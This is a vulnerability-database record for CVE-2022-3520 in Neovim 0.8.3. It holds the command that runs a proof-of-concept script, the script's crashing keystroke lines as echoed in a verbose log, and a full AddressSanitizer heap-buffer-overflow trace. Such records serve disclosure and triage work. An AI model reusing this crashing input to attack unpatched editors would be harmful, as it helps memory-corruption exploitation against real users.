{"uuid": "78db213a-a776-4ade-be90-8e79c09d45b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-3520", "type": "seen", "source": "https://gist.github.com/zhuozhenwei/5ab8fcdc82800687059f2e965f30e2a7", "content": "Command:\n./nvim-0.8.3 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3520)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3520)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3520)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3520)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3520)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3520)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3520)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3520)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3520)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3520)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3520)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3520)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3520)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3520)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3520)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3520)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3520)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3520)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3520)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3520)\nExecuting:     aunmenu *\n\nExecuting:     vnoremenu PopUp.Cut                     \"+x\n\nExecuting:     vnoremenu PopUp.Copy                    \"+y\n\nExecuting:     anoremenu PopUp.Paste                   \"+gP\n\nExecuting:     vnoremenu PopUp.Paste                   \"+P\n\nExecuting:     vnoremenu PopUp.Delete                  \"_x\n\nExecuting:     nnoremenu PopUp.Select\\ All             ggVG\n\nExecuting:     vnoremenu PopUp.Select\\ All             gg0oG$\n\nExecuting:     inoremenu PopUp.Select\\ All             VG\n\nExecuting:     anoremenu PopUp.-1-                     \n\nExecuting:     anoremenu PopUp.How-to\\ disable\\ mouse  help disable-mouse\n\nExecuting:   \n\nExecuting: so poc\n\nline 0: sourcing \"poc\"\nline 1: norm:be m^A^M\n:be m...\n:be mswin\nline 1: be mswin\n\nline 2: norm0yy\n\nline 3: no0 [Pv)\n\nline 4: norm00^A^M^Qs/\\v/^I\n\nline 5: sil0norm0^V00\n=================================================================\n==70971==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000006c0f at pc 0x000000887cd5 bp 0x7ffeeb9eb9d0 sp 0x7ffeeb9eb9c8\nREAD of size 1 at 0x602000006c0f thread T0\n    #0 0x887cd4 in inc /home/zzw/Desktop/neovim/build/../src/nvim/memline.c:3910:9\n    #1 0x8ed912 in nv_put_opt /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7345:9\n    #2 0x8e4b46 in nv_brackets /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:5116:5\n    #3 0x8db560 in normal_execute /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1172:3\n    #4 0x8da5c8 in normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7420:9\n    #5 0x73b1e3 in exec_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6446:5\n    #6 0x73b079 in exec_normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6429:3\n    #7 0x73ff27 in ex_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6361:7\n    #8 0x7316ed in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #9 0x72925b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #10 0x72400a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #11 0x9cbc85 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:2036:5\n    #12 0x9ca538 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1618:14\n    #13 0x9ca41e in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1626:3\n    #14 0x7316ed in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #15 0x72925b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #16 0x72400a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #17 0x726921 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:287:10\n    #18 0x826e2b in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1807:5\n    #19 0x821a00 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:534:5\n    #20 0x7f12fda7a082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #21 0x466f8d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.8.3-ASAN+0x466f8d)\n\n0x602000006c0f is located 1 bytes to the left of 2-byte region [0x602000006c10,0x602000006c12)\nallocated by thread T0 here:\n    #0 0x4df6cd in malloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.8.3-ASAN+0x4df6cd)\n    #1 0x88a149 in try_malloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:82:15\n    #2 0x88a27a in xmalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:116:15\n    #3 0x8ffea4 in do_put /home/zzw/Desktop/neovim/build/../src/nvim/ops.c:3316:14\n    #4 0x8ed863 in nv_put_opt /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7330:5\n    #5 0x8e4b46 in nv_brackets /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:5116:5\n    #6 0x8db560 in normal_execute /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1172:3\n    #7 0x8da5c8 in normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7420:9\n    #8 0x73b1e3 in exec_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6446:5\n    #9 0x73b079 in exec_normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6429:3\n    #10 0x73ff27 in ex_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6361:7\n    #11 0x7316ed in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #12 0x72925b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #13 0x72400a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #14 0x9cbc85 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:2036:5\n    #15 0x9ca538 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1618:14\n    #16 0x9ca41e in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1626:3\n    #17 0x7316ed in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #18 0x72925b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #19 0x72400a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #20 0x726921 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:287:10\n    #21 0x826e2b in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1807:5\n    #22 0x821a00 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:534:5\n    #23 0x7f12fda7a082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow /home/zzw/Desktop/neovim/build/../src/nvim/memline.c:3910:9 in inc\nShadow bytes around the buggy address:\n  0x0c047fff8d30: fa fa 01 fa fa fa 01 fa fa fa fd fa fa fa fd fa\n  0x0c047fff8d40: fa fa fd fa fa fa fd fa fa fa 02 fa fa fa fd fa\n  0x0c047fff8d50: fa fa fd fa fa fa 02 fa fa fa 01 fa fa fa 01 fa\n  0x0c047fff8d60: fa fa 02 fa fa fa 01 fa fa fa 01 fa fa fa 06 fa\n  0x0c047fff8d70: fa fa fd fa fa fa 00 00 fa fa 01 fa fa fa 01 fa\n=&gt;0x0c047fff8d80: fa[fa]02 fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c047fff8d90: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c047fff8da0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c047fff8db0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c047fff8dc0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c047fff8dd0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n  Shadow gap:              cc\n==70971==ABORTING", "creation_timestamp": "2026-09-20T13:55:45.871549Z"}